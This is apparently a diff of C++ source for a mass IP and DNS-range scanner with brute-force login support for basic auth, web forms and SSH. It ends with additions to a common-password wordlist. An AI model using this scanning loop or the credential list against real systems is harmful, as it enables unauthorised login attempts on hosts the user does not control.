sprintf(targetNPers, "%Lu (%.1f%%)", //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent);
target, //stt->doEmitionTargetsLeft(QString(targetNPers));
sprintf(metaTargets, "%Lu", target);
sprintf(metaPercent, "%.1f",
percent); percent);
stt->doEmitionTargetsLeft(QString(targetNPers)); }
void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD) {
char targetNPers[128] = { 0 };
float percent = (gTargetsOverall != 0 ? (100 - target / (double)gTargetsOverall * 100) : 0);
stt->doEmitionIPRANGE(QString(ip) + QString(TLD));
strcpy(currentIP, ip);
//sprintf(targetNPers, "%Lu (%.1f%%)", target, percent);
//stt->doEmitionTargetsLeft(QString(targetNPers));
sprintf(metaTargets, "%Lu", target); sprintf(metaTargets, "%Lu", target);
sprintf(metaPercent, "%.1f", sprintf(metaPercent, "%.1f",
@ -1010,10 +1028,6 @@ void _passLoginLoader() {
stt->doEmitionRedFoundData("No password/login list found"); stt->doEmitionRedFoundData("No password/login list found");
stt->doEmitionKillSttThread(); stt->doEmitionKillSttThread();
}; };
stt->doEmitionYellowFoundData("BA: ~" + QString::number(MaxLogin * MaxPass/gTimeOut/60)
+ "; WF: ~" + QString::number(MaxWFLogin * MaxWFPass/gTimeOut/60)
+ "; SSH: ~" + QString::number(MaxSSHPass/gTimeOut/60));
} }
void ReadUTF8(FILE* nFile, char *cp) { void ReadUTF8(FILE* nFile, char *cp) {
@ -2090,7 +2104,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
if(globalScanFlag == false) return 0; if(globalScanFlag == false) return 0;
string res = string(mask); string res = string(mask);
targetAndIPWriter(--gTargets, res.c_str()); verboseProgressDNS(--gTargets, res.c_str(), top_level_domain);
res += string(top_level_domain); res += string(top_level_domain);
++indexIP; ++indexIP;
@ -2099,6 +2113,15 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
}; };
} }
void runAuxiliaryThreads() {
std::thread saverThread(_saver);
std::thread trackerThread(_tracker);
std::thread timerThread(_timer);
saverThread.detach();
trackerThread.detach();
timerThread.detach();
}
int startScan(char* args) { int startScan(char* args) {
curl_global_init(CURL_GLOBAL_ALL); curl_global_init(CURL_GLOBAL_ALL);
SSL_library_init(); SSL_library_init();
@ -2123,7 +2146,8 @@ int startScan(char* args) {
ZeroMemory(ipsend, sizeof(ipsend)); ZeroMemory(ipsend, sizeof(ipsend));
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
CreateDirectory(L(RESULT_DIR_NAME), NULL); //std::string OutputFolder = std::string(RESULT_DIR_NAME);
CreateDirectoryA(RESULT_DIR_NAME, NULL);
#else #else
struct stat str = {0}; struct stat str = {0};
if (stat(RESULT_DIR_NAME, &str) == -1) { if (stat(RESULT_DIR_NAME, &str) == -1) {
@ -2161,12 +2185,7 @@ int startScan(char* args) {
if (gMode == 0) if (gMode == 0)
{ {
std::thread saverThread(_saver); runAuxiliaryThreads();
std::thread trackerThread(_tracker);
std::thread timerThread(_timer);
saverThread.detach();
trackerThread.detach();
timerThread.detach();
unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3];
unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3];
@ -2181,16 +2200,8 @@ int startScan(char* args) {
if (globalScanFlag == false) break; if (globalScanFlag == false) break;
unsigned long offset = ip2 - i; unsigned long offset = ip2 - i;
tAddr.s_addr = i; tAddr.s_addr = ntohl(i);
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4)
+ "." + std::to_string(tAddr.S_un.S_un_b.s_b3)
+ "." + std::to_string(tAddr.S_un.S_un_b.s_b2)
+ "." + std::to_string(tAddr.S_un.S_un_b.s_b1));
#else
tAddr.s_addr = ntohl(tAddr.s_addr);
ipVec.push_back(inet_ntoa(tAddr)); ipVec.push_back(inet_ntoa(tAddr));
#endif
if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str());
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
@ -2205,7 +2216,7 @@ int startScan(char* args) {
std::string res = ipVec[0]; std::string res = ipVec[0];
ipVec.erase(ipVec.begin()); ipVec.erase(ipVec.begin());
targetAndIPWriter(gTargets--, res.c_str()); verboseProgress(gTargets--, res.c_str());
Threader::fireThread(res, (void*(*)(void))_connect); Threader::fireThread(res, (void*(*)(void))_connect);
} }
@ -2225,17 +2236,9 @@ int startScan(char* args) {
std::string res = ""; std::string res = "";
++indexIP; ++indexIP;
tAddr.s_addr = i; tAddr.s_addr = ntohl(i);
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4)
+ "." + std::to_string(tAddr.S_un.S_un_b.s_b3)
+ "." + std::to_string(tAddr.S_un.S_un_b.s_b2)
+ "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str());
#else
tAddr.s_addr = ntohl(tAddr.s_addr);
res = string(inet_ntoa(tAddr)); res = string(inet_ntoa(tAddr));
#endif verboseProgress(gTargets--, res.c_str());
targetAndIPWriter(gTargets--, res.c_str());
Threader::fireThread(res, (void*(*)(void))_connect); Threader::fireThread(res, (void*(*)(void))_connect);
} }
@ -2245,12 +2248,7 @@ int startScan(char* args) {
} }
else if (gMode == 1) else if (gMode == 1)
{ {
std::thread saverThread(_saver); runAuxiliaryThreads();
std::thread trackerThread(_tracker);
std::thread timerThread(_timer);
saverThread.detach();
trackerThread.detach();
timerThread.detach();
strcpy(top_level_domain, gFirstDom); strcpy(top_level_domain, gFirstDom);
@ -2378,12 +2376,7 @@ int startScan(char* args) {
return -1; return -1;
}; };
std::thread saverThread(_saver); runAuxiliaryThreads();
std::thread trackerThread(_tracker);
std::thread timerThread(_timer);
saverThread.detach();
trackerThread.detach();
timerThread.detach();
stt->doEmitionChangeStatus("Scanning..."); stt->doEmitionChangeStatus("Scanning...");
for (gC = 0; gC < flCounter; ++gC) for (gC = 0; gC < flCounter; ++gC)
@ -2417,13 +2410,8 @@ int startScan(char* args) {
if (globalScanFlag == false) break; if (globalScanFlag == false) break;
unsigned long offset = ip2 - i; unsigned long offset = ip2 - i;
tAddr.s_addr = i; tAddr.s_addr = ntohl(i);
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1));
#else
tAddr.s_addr = ntohl(tAddr.s_addr);
ipVec.push_back(inet_ntoa(tAddr)); ipVec.push_back(inet_ntoa(tAddr));
#endif
if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str());
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
@ -2438,7 +2426,7 @@ int startScan(char* args) {
std::string res = ipVec[0]; std::string res = ipVec[0];
ipVec.erase(ipVec.begin()); ipVec.erase(ipVec.begin());
targetAndIPWriter(gTargets--, res.c_str()); verboseProgress(gTargets--, res.c_str());
Threader::fireThread(res, (void*(*)(void))_connect); Threader::fireThread(res, (void*(*)(void))_connect);
} }
@ -2456,15 +2444,9 @@ int startScan(char* args) {
++indexIP; ++indexIP;
std::string res = ""; tAddr.s_addr = ntohl(i);
tAddr.s_addr = i; std::string res = string(inet_ntoa(tAddr));
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) verboseProgress(gTargets--, res.c_str());
strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str());
#else
tAddr.s_addr = ntohl(tAddr.s_addr);
res = string(inet_ntoa(tAddr));
#endif
targetAndIPWriter(gTargets--, res.c_str());
Threader::fireThread(res, (void*(*)(void))_connect); Threader::fireThread(res, (void*(*)(void))_connect);
} }
break; break;
@ -2482,7 +2464,6 @@ int startScan(char* args) {
stt->doEmitionYellowFoundData("Stopping threads..."); stt->doEmitionYellowFoundData("Stopping threads...");
stt->doEmitionChangeStatus("Stopping..."); stt->doEmitionChangeStatus("Stopping...");
while(cons > 0 || jsonArr->size() > 0) { while(cons > 0 || jsonArr->size() > 0) {
Sleep(2000); Sleep(2000);
}; };

View File

@ -16,6 +16,7 @@ passwd
qwerty qwerty
meinsm meinsm
monitor monitor
user
test test
sysadm sysadm
admin123 admin123
@ -24,6 +25,7 @@ Admin
12344321 12344321
toor toor
qwerty123 qwerty123
1q2w3e4r
987654321 987654321
system system
telecom telecom
@ -45,6 +47,7 @@ administrator
sys sys
guest guest
backup backup
Fujiyama
fujiyama fujiyama
super super
P@ssw0rd
passw0rd